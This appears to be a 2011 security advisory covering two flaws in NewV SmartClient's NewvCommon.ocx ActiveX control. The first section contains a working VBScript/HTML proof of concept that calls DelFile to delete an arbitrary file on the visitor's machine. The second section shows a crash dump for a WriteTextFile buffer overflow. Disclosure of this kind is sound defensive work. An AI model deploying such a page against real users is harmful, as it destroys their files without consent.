NewvCommon.ocx ActiveX Insecure Method Vulnerability
========
Vulnerable:All Version
Vendor:www.newv.com.cn
Details:
========
A Insecure method vulnerability has been found in NewV SmartClient.
The specific flaw exists within the DelFile method of the Newv ActiveX control (NewvCommon.ocx).
The DelFile method does not handle user's input exactly that can be used to delete arbitrary files on users system.
POC:
========
Function DelFile (
ByVal FilePath As Variant
) As String
<html>
<head>
<script language='vbscript'>
arg1 = "c:\\test.txt"
</script>
</head>
<object classid='clsid:0B68B7EB-02FF-4A41-BC14-3C303BB853F9' id='target' />
</object>
<script language='vbscript'>
target.DelFile arg1
</script>
</html>
Timeline:
========
2010.10.23 Report to vendor,no response.
2011.01.10 Public
Reference:
========
http://www.newv.com.cn
http://demo.newv.com.cn/lds/module/smartclientsetting.exe
http://www.nansec.com
NewvCommon.ocx ActiveX Remote Code Execution Vulnerability
========
Vulnerable:All Version
Vendor:www.newv.com.cn
Details:
========
A remote buffer overflow vulnerability has been found in NewV SmartClient.
The specific flaw exists within the WriteTextFile method of the Newv ActiveX control (NewvCommon.ocx).
The WriteTextFile method does not handle user's input exactly that a remote attacker can exploit \
this vulnerability to execute arbitrary code.
POC:
========
Function WriteTextFile (
ByVal str As Variant ,
ByVal FilePath As Variant
) As String
0:000> g
(d2c.f84): Unknown exception - code 0eedfade (first chance)
(d2c.f84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0013d8c8 ebp=0013d8e8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
<Unloaded_na.dll>+0x41414140:
41414141 ?? ???
Timeline:
========
2010.10.23 Report to vendor,no response.
2011.01.10 Public
Reference:
========
http://www.newv.com.cn
http://demo.newv.com.cn/lds/module/smartclientsetting.exe
http://www.nansec.com
RSS Feed
